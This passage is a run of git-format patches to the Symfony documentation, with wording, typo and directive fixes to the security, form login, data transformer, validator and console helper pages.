+The message displayed if the media type of the file is not a valid media type
 per the `mimeTypes`_ option.
 
 .. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc

From 5fc22f236be66cb784596e41a2103e2bf4d9f56f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 9 Nov 2022 18:35:02 +0100
Subject: [PATCH 3860/7107] [#17414] Change directive

---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index a7556eca41f..674056ee0c8 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -244,7 +244,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. seelalso::
+.. caution::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file

From 9262483ce3346eda0dc167b53bfea42adf2c98d1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 10 Nov 2022 22:54:22 +0100
Subject: [PATCH 3861/7107] Consistent naming of `FormLoginAuthenticator`

Reason: Make it more clear that we're always talking about the same **built-in** thing.
---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 583f5e19f9a..abfa7c1e7c8 100644
--- a/security.rst
+++ b/security.rst
@@ -660,7 +660,7 @@ Form Login
 
 Most websites have a login form where users authenticate using an
 identifier (e.g. email address or username) and a password. This
-functionality is provided by the *form login authenticator*.
+functionality is provided by the built-in :class:`Symfony\\Component\\Security\\Http\Authenticator\\FormLoginAuthenticator`.
 
 First, create a controller for the login form:
 
@@ -691,7 +691,7 @@ First, create a controller for the login form:
         }
     }
 
-Then, enable the form login authenticator using the ``form_login`` setting:
+Then, enable the ``FormLoginAuthenticator`` using the ``form_login`` setting:
 
 .. configuration-block::
 
@@ -784,8 +784,8 @@ Edit the login controller to render the login form:
           }
       }
 
-Don't let this controller confuse you. Its job is only to *render* the form:
-the ``form_login`` authenticator will handle the form *submission* automatically.
+Don't let this controller confuse you. Its job is only to *render* the form.
+The ``FormLoginAuthenticator`` will handle the form *submission* automatically.
 If the user submits an invalid email or password, that authenticator will store
 the error and redirect back to this controller, where we read the error (using
 ``AuthenticationUtils``) so that it can be displayed back to the user.
@@ -857,7 +857,7 @@ To review the whole process:
 #. The ``/login`` page renders login form via the route and controller created
    in this example;
 #. The user submits the login form to ``/login``;
-#. The security system (i.e. the ``form_login`` authenticator) intercepts the
+#. The security system (i.e. the ``FormLoginAuthenticator``) intercepts the
    request, checks the user's submitted credentials, authenticates the user if
    they are correct, and sends the user back to the login form if they are not.
 

From ff1f3336bf33dc210b2cfe7d31f61b575864cefb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 11 Nov 2022 12:52:03 +0100
Subject: [PATCH 3862/7107] Typo

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index dda2c08e8e7..f1bb542b7b5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -326,7 +326,7 @@ login_path
 **type**: ``string`` **default**: ``/login``
 
 This is the route or path that the user will be redirected to (unless ``use_forward``
-is set to ``true``) when they try to access a protected resource but isn't
+is set to ``true``) when they try to access a protected resource but aren't
 fully authenticated.
 
 This path **must** be accessible by a normal, unauthenticated user, else

From 2493625aa5cebdb6534396e2bc309ff8c5149e25 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 11 Nov 2022 12:57:20 +0100
Subject: [PATCH 3863/7107] Minor

---
 reference/configuration/security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index dda2c08e8e7..f3104fa3e41 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -365,7 +365,7 @@ username_parameter
 
 **type**: ``string`` **default**: ``_username``
 
-This is the field name that you should give to the username field of your
+This is the name of the username field of your
 login form. When you submit the form to ``check_path``, the security system
 will look for a POST parameter with this name.
 
@@ -374,7 +374,7 @@ password_parameter
 
 **type**: ``string`` **default**: ``_password``
 
-This is the field name that you should give to the password field of your
+This is the name of the password field of your
 login form. When you submit the form to ``check_path``, the security system
 will look for a POST parameter with this name.
 
@@ -385,7 +385,7 @@ post_only
 
 By default, you must submit your login form to the ``check_path`` URL as
 a POST request. By setting this option to ``false``, you can send a GET
-request to the ``check_path`` URL.
+request too.
 
 **Options Related to Redirecting after Login**
 

From e2ef815754a01468e8642c41b99453c9a76338bc Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 12 Nov 2022 20:16:27 +0100
Subject: [PATCH 3864/7107] Minor

Removing "starting"
---
 form/data_transformers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4204b77cf23..e91a190a30f 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,8 +8,8 @@ Data transformers are used to translate the data for a field into a format that
 be displayed in a form (and back on submit). They're already used internally for
 many field types. For example, the :doc:`DateType </reference/forms/types/date>` field
 can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer
-converts the starting ``DateTime`` value of the field into the ``yyyy-MM-dd`` string
-to render the form, and then back into a ``DateTime`` object on submit.
+converts the ``DateTime`` value of the field to the ``yyyy-MM-dd`` string
+to render the form, and then back to a ``DateTime`` object on submit.
 
 .. caution::
 

From 59b3037c476dd6c45c2f972265f00cab322f3385 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 12 Nov 2022 20:47:30 +0100
Subject: [PATCH 3865/7107] Merging two (almost identical) paragraphs

The only new aspect is that Transformer is only for only one field, whereas Mapper is for one or more.
---
 form/data_mappers.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 24ff0716f5f..6d322e3e043 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -19,13 +19,11 @@ The Difference between Data Transformers and Mappers
 It is important to know the difference between
 :doc:`data transformers </form/data_transformers>` and mappers.
 
-* **Data transformers** change the representation of a value (e.g. from
-  ``"2016-08-12"`` to a ``DateTime`` instance);
-* **Data mappers** map data (e.g. an object or array) to form fields, and vice versa.
-
-Changing a ``YYYY-mm-dd`` string value to a ``DateTime`` instance is done by a
-data transformer. Populating inner fields (e.g year, hour, etc) of a compound date type using
-a ``DateTime`` instance is done by the data mapper.
+* **Data transformers** change the representation of a single value, e.g. from
+  ``"2016-08-12"`` to a ``DateTime`` instance;
+* **Data mappers** map data (e.g. an object or array) to one or many form fields, and vice versa,
+  e.g. using a single ``DateTime`` instance to populate the inner fields (e.g year, hour, etc.)
+  of a compound date type.
 
 Creating a Data Mapper
 ----------------------

From 1d281f9d52689d231cb6f6bed39b76d7f2a2cf8e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 17 Nov 2022 23:40:04 +0100
Subject: [PATCH 3866/7107] [Validator] File: fix versionadded of
 extensionsMessage option

---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 674056ee0c8..f407942a53d 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -275,7 +275,7 @@ You can find a list of existing mime types on the `IANA website`_.
 
 .. versionadded:: 6.2
 
-    The ``extensionsMessage`` option was introduced in Symfony 6.3.
+    The ``extensionsMessage`` option was introduced in Symfony 6.2.
 
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.

From 4559b9cd2d4b9a6df618c0656e647f30321fb04d Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 12 Nov 2022 11:24:37 +0100
Subject: [PATCH 3867/7107] [Security] Add form_only option

---
 reference/configuration/security.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index dda2c08e8e7..26081fa63bf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -352,6 +352,19 @@ failure_path
 This is the route or path that the user is redirected to after a failed login attempt.
 It can be a relative/absolute URL or a Symfony route name.
 
+form_only
+............
+
+**type**: ``boolean`` **default**: ``false``
+
+By setting this option to ``true``, a content type check will be performed when the login form is submitted
+(i.e. the login form will be processed if it is the form data, so with a
+content type ``application/x-www-form-urlencoded``.
+
+.. versionadded:: 5.4
+
+    The ``form_only`` option was introduced in Symfony 5.4.
+
 use_forward
 ...........
 

From ef5d786f620ae7d0b3273d6919d44ac638b337d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Nov 2022 16:41:26 +0100
Subject: [PATCH 3868/7107] Reword

---
 reference/configuration/security.rst | 10 ++++++----
 security.rst                         |  2 ++
 2 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 9e885853c96..fa3258bbb23 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -353,13 +353,15 @@ This is the route or path that the user is redirected to after a failed login at
 It can be a relative/absolute URL or a Symfony route name.
 
 form_only
-............
+.........
 
 **type**: ``boolean`` **default**: ``false``
 
-By setting this option to ``true``, a content type check will be performed when the login form is submitted
-(i.e. the login form will be processed if it is the form data, so with a
-content type ``application/x-www-form-urlencoded``.
+Set this option to ``true`` to require that the login data is sent using a form
+(it checks that the request content-type is ``application/x-www-form-urlencoded``).
+This is useful for example to prevent the :ref:`form login authenticator <security-form-login>`
+from responding to requests that should be handled by the
+:ref:`JSON login authenticator <security-json-login>`.
 
 .. versionadded:: 5.4
 
diff --git a/security.rst b/security.rst
index 583f5e19f9a..845b86c3039 100644
--- a/security.rst
+++ b/security.rst
@@ -957,6 +957,8 @@ After this, you have protected your login form against CSRF attacks.
     the token ID by setting  ``csrf_token_id`` in your configuration. See
     :ref:`reference-security-firewall-form-login` for more details.
 
+.. _security-json-login:
+
 JSON Login
 ~~~~~~~~~~
 

From bed2ec831d23a5713a9c531f41b502984d482ba1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 11 Nov 2022 15:50:36 +0100
Subject: [PATCH 3869/7107] [Security] Minor rewording

---
 security.rst            |  6 +++---
 security/form_login.rst | 26 +++++++++++++-------------
 2 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/security.rst b/security.rst
index fd774597406..492fcd08d04 100644
--- a/security.rst
+++ b/security.rst
@@ -768,13 +768,13 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+            <input type="text" id="username" name="_username" value="{{ last_username }}">
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password"/>
+            <input type="password" id="password" name="_password">
 
             {# If you want to control the URL the user is redirected to on success
-            <input type="hidden" name="_target_path" value="/account"/> #}
+            <input type="hidden" name="_target_path" value="/account"> #}
 
             <button type="submit">login</button>
         </form>
diff --git a/security/form_login.rst b/security/form_login.rst
index 5bae5c6e62b..85d8a150a8f 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -142,26 +142,26 @@ previously requested URL and always redirect to the default page:
 Control the Redirect Using Request Parameters
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The URL to redirect after the login can be defined using the ``_target_path``
-parameter of GET and POST requests. Its value must be a relative or absolute
+The URL to redirect to after the login can be dynamically defined using the ``_target_path``
+parameter of the GET or POST request. Its value must be a relative or absolute
 URL, not a Symfony route name.
 
-Defining the redirect URL via GET using a query string parameter:
+For GET, use a query string parameter:
 
 .. code-block:: text
 
     http://example.com/some/path?_target_path=/dashboard
 
-Defining the redirect URL via POST using a hidden form field:
+For POST, use a hidden form field:
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
-    <form action="{{ path('login') }}" method="post">
+    {# templates/login/index.html.twig #}
+    <form action="{{ path('app_login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_target_path" value="{{ path('account') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_target_path" value="{{ path('account') }}">
+        <input type="submit" name="login">
     </form>
 
 Using the Referring URL
@@ -304,8 +304,8 @@ This option can also be set via the ``_failure_path`` request parameter:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>
 
 Customizing the Target and Failure Request Parameters
@@ -383,7 +383,7 @@ are now fully customized:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="go_to" value="{{ path('dashboard') }}"/>
-        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="go_to" value="{{ path('dashboard') }}">
+        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>

From dfc2982e1712f8b653bf426628a08c24819a845e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Nov 2022 18:06:29 +0100
Subject: [PATCH 3870/7107] Minor reword

---
 form/data_transformers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index e91a190a30f..cf32ca134a0 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,8 +8,8 @@ Data transformers are used to translate the data for a field into a format that
 be displayed in a form (and back on submit). They're already used internally for
 many field types. For example, the :doc:`DateType </reference/forms/types/date>` field
 can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer
-converts the ``DateTime`` value of the field to the ``yyyy-MM-dd`` string
-to render the form, and then back to a ``DateTime`` object on submit.
+converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
+when rendering the form, and then back to a ``DateTime`` object on submit.
 
 .. caution::
 

From 97c38f38f9f0ea77ab9ae41473e78068917abe74 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 18 Nov 2022 18:42:23 +0100
Subject: [PATCH 3871/7107] Merging "list" into text

Reason: "a few guidelines" sounded odd, cause the first was no guideline (but a rule), and the second was still no guideline (but more details to first).
---
 security.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/security.rst b/security.rst
index 845b86c3039..ae413392a74 100644
--- a/security.rst
+++ b/security.rst
@@ -1934,12 +1934,9 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     }
 
 This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. Here are a few guidelines:
-
-* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
-
-* Other than the above rule, a role is just a string and you can invent what you
-  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+a user should have. The only rule is that every role **must start with** ``ROLE_`` -
+otherwise, things won't work as expected. Other than that, a role is just a string
+and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``).
 
 You'll use these roles next to grant access to specific sections of your site.
 

From d23bba2b6997cc0fbc0ad80d8bdb9de99d32aa01 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 19 Nov 2022 17:54:18 +0100
Subject: [PATCH 3872/7107] Adding more info about chain provider

Reason: The info that this is the way to go if you need *multiple* providers was lost somehow since v4.4: https://symfony.com/doc/4.0/security/multiple_user_providers.html
The wording is mostly taken from there.
---
 security.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security.rst b/security.rst
index 845b86c3039..6880411c874 100644
--- a/security.rst
+++ b/security.rst
@@ -351,6 +351,8 @@ Symfony comes with several built-in user providers:
     Loads users from a configuration file;
 :ref:`Chain User Provider <security-chain-user-provider>`
     Merges two or more user providers into a new user provider.
+    Since each firewall has exactly *one* user provider, you can use this
+    to chain multiple providers together.
 
 The built-in user providers cover the most common needs for applications, but you
 can also create your own :ref:`custom user provider <security-custom-user-provider>`.

From e9e5086d904a318aa78160dfc3d0953a6fa02f11 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 19 Nov 2022 17:58:23 +0100
Subject: [PATCH 3873/7107] Minor deletion

Reason: The other providers don't have to be of different types (or do they?)
---
 security/user_providers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 0e202283a83..57c50149bc0 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -240,8 +240,8 @@ After setting up hashing, you can configure all the user information in
 Chain User Provider
 -------------------
 
-This user provider combines two or more of the other provider types (e.g.
-``entity`` and ``ldap``) to create a new user provider. The order in which
+This user provider combines two or more of the other providers
+to create a new user provider. The order in which
 providers are configured is important because Symfony will look for users
 starting from the first provider and will keep looking for in the other
 providers until the user is found:

From 06c08093c40f4fdfe3b1a05824bbbfb8c6424f32 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 19 Nov 2022 18:25:56 +0100
Subject: [PATCH 3874/7107] Adding info about when the firewall needs to
 encompass all pages

---
 security.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 845b86c3039..21247c146fc 100644
--- a/security.rst
+++ b/security.rst
@@ -588,15 +588,13 @@ will be able to authenticate (e.g. login form, API token, etc).
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
+Here, all "real" URLs are handled by the ``main`` firewall (no ``pattern`` key means
+it matches *all* URLs). 
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
 ``/_profiler`` and ``/_wdt``.
 
-All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). A firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
-
 Often, the user is unknown (i.e. not logged in) when they first visit your
 website. If you visit your homepage right now, you *will* have access and
 you'll see that you're visiting a page behind the firewall in the toolbar:
@@ -606,7 +604,14 @@ you'll see that you're visiting a page behind the firewall in the toolbar:
 
 Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
-are public). You'll learn how to restrict access to URLs, controllers or
+are public). On the other hand, all pages that you want to be *aware* of a logged in
+user have to be under the same firewall. So if you want to display a "You are logged in
+as ..." message on every page, they all have to be included in the same firewall.
+
+The same firewall can have many modes of authentication,
+in other words, it enables many ways to ask the question "Who are you?".
+
+You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control
 <security-access-control>` section.
 

From 58e6ec27df67abe6e8a8be85fdd17b541cfa72c5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 19 Nov 2022 18:58:12 +0100
Subject: [PATCH 3875/7107] clean up 5.4 versionadded directive

---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 40aaf5ce826..fbf31177cbf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -343,10 +343,6 @@ This is useful for example to prevent the :ref:`form login authenticator <securi
 from responding to requests that should be handled by the
 :ref:`JSON login authenticator <security-json-login>`.
 
-.. versionadded:: 5.4
-
-    The ``form_only`` option was introduced in Symfony 5.4.
-
 use_forward
 ...........
 

From 9f1239962d981c21c59fc30b451c4e0fdfab0259 Mon Sep 17 00:00:00 2001
From: Moshe Weitzman <weitzman@tejasa.com>
Date: Sat, 19 Nov 2022 13:49:36 -0500
Subject: [PATCH 3876/7107] Fix incorrect example for CommandCompletionTester

---
 console/input.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 817a2cc67fe..69304b7551a 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -397,8 +397,10 @@ to help you unit test the completion logic::
             $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
 
             // complete the input with "Fa" as input
+            // note that the list does not reduce because the completion tester doesn't run any shell, 
+            // it only tests the PHP part of the completion logic, so it should always include all values
             $suggestions = $tester->complete(['Fa']);
-            $this->assertSame(['Fabien', 'Fabrice'], $suggestions);
+            $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
         }
     }
 

From f69c9b54cb6ece5849767c3578699016a4ac333e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 20 Nov 2022 11:56:51 +0100
Subject: [PATCH 3877/7107] Remove old `versionadded` directive

---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 40aaf5ce826..fbf31177cbf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -343,10 +343,6 @@ This is useful for example to prevent the :ref:`form login authenticator <securi
 from responding to requests that should be handled by the
 :ref:`JSON login authenticator <security-json-login>`.
 
-.. versionadded:: 5.4
-
-    The ``form_only`` option was introduced in Symfony 5.4.
-
 use_forward
 ...........
 

From fbae2e4796b929f7148f25c4cc635c2f8efe87f3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Sun, 20 Nov 2022 09:29:32 +0100
Subject: [PATCH 3878/7107] Update security.rst

Removed an useless comma
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 845b86c3039..22175632b0d 100644
--- a/security.rst
+++ b/security.rst
@@ -226,7 +226,7 @@ from the `MakerBundle`_:
         }
 
         /**
-         * Returning a salt is only needed, if you are not using a modern
+         * Returning a salt is only needed if you are not using a modern
          * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
          *
          * @see UserInterface

From 620e6b428c228e2808d6672e982e01dbab242e41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Sat, 19 Nov 2022 17:35:56 +0100
Subject: [PATCH 3879/7107] Update custom_constraint.rst

Replace Annotation in custom constraint declaration by #[Attribute] which is more up to date
---
 validation/custom_constraint.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 1d95b64c822..f193535900c 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -214,9 +214,7 @@ email. First, create a constraint and override the ``getTargets()`` method::
 
     use Symfony\Component\Validator\Constraint;
 
-    /**
-     * @Annotation
-     */
+    #[\Attribute]
     class ConfirmedPaymentReceipt extends Constraint
     {
         public string $userDoesNotMatchMessage = 'User\'s e-mail address does not match that of the receipt';

From 728d75baa5ff8e2e30c0bbb8085de45c2a40887a Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 21 Aug 2022 15:16:10 +0200
Subject: [PATCH 3880/7107] Deprecate not configuring explicitly a provider for
 custom_authenticators when there is more than one registered provider

---
 components/console/helpers/questionhelper.rst | 24 +++++++++----------
 security/custom_authenticator.rst             |  8 ++++++-
 2 files changed, 19 insertions(+), 13 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 863120dd52f..d3e7498049b 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -88,7 +88,7 @@ if you want to know a bundle name, you can add this to your command::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The user will be asked "Please enter the name of the bundle". They can type
@@ -124,7 +124,7 @@ from a predefined list::
 
         // ... do something with the color
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. versionadded:: 5.2
@@ -166,7 +166,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Now, when the user enters ``1,2``, the result will be:
@@ -197,7 +197,7 @@ will be autocompleted as the user types::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 In more complex use cases, it may be necessary to generate suggestions on the
@@ -236,7 +236,7 @@ provide a callback function to dynamically generate suggestions::
         
         // ... do something with the filePath
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Do not Trim the Answer
@@ -260,7 +260,7 @@ You can also specify if you want to not trim the answer by setting it directly w
         
         // ... do something with the name
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Accept Multiline Answers
@@ -291,7 +291,7 @@ the response to a question should allow multiline answers by passing ``true`` to
         
         // ... do something with the answer
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Multiline questions stop reading user input after receiving an end-of-transmission
@@ -319,7 +319,7 @@ convenient for passwords::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -351,7 +351,7 @@ convenient for passwords::
 
             // ...
             
-            return Commande::SUCCESS;
+            return Command::SUCCESS;
         }
 
 Normalizing the Answer
@@ -382,7 +382,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -426,7 +426,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The ``$validator`` is a callback which handles the validation. It should
@@ -488,7 +488,7 @@ You can also use a validator with a hidden question::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Testing a Command that Expects Input
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 54861858baa..8dbeeaf287a 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -130,6 +130,12 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
             ;
         };
 
+.. deprecated:: 5.4
+
+    If you have registered multiple user providers, you must set the
+    ``provider`` key to one of the configured providers, even if your
+    custom authenticators don't use it. Not doing so is deprecated in Symfony 5.4.
+
 .. versionadded:: 5.2
 
     Starting with Symfony 5.2, the custom authenticator is automatically
@@ -185,7 +191,7 @@ can define what happens in these cases:
     If your login method is interactive, which means that the user actively
     logged into your application, you may want your authenticator to implement the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
-    so that it dispatches an 
+    so that it dispatches an
     :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
 
 .. _security-passport:

From 1fb6ad0fc5a7e63fc75f249b82fd951f46c892df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Sun, 20 Nov 2022 16:11:36 +0100
Subject: [PATCH 3881/7107] Update security.rst

Propose attribute usage instead of annotations, this stick more to the example.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 891032aff2d..0bd944121eb 100644
--- a/security.rst
+++ b/security.rst
@@ -2148,7 +2148,7 @@ will happen:
 .. _security-securing-controller-annotations:
 
 Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
+using attributes:
 
 .. configuration-block::
 

From 4351c89192b518f6da538b1b24050624ec7992e8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?=
 <5175937+theofidry@users.noreply.github.com>
Date: Mon, 21 Nov 2022 16:00:47 +0100
Subject: [PATCH 3882/7107] Fix bad copy/paste

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index e04bfd7a43d..092f032f055 100644
--- a/controller.rst
+++ b/controller.rst
@@ -381,7 +381,7 @@ object. To access it in your controller, add it as an argument and
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function index(Request $request, string $firstName, string $lastName): Response
+    public function index(Request $request): Response
     {
         $page = $request->query->get('page', 1);
 

From 155bbf49c55f3da83ea8176986e12eb1252f2a4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Nov 2022 17:46:48 +0100
Subject: [PATCH 3883/7107] Minor tweak

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 02c2e8879fa..c2066816dee 100644
--- a/security.rst
+++ b/security.rst
@@ -1934,9 +1934,9 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     }
 
 This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. The only rule is that every role **must start with** ``ROLE_`` -
-otherwise, things won't work as expected. Other than that, a role is just a string
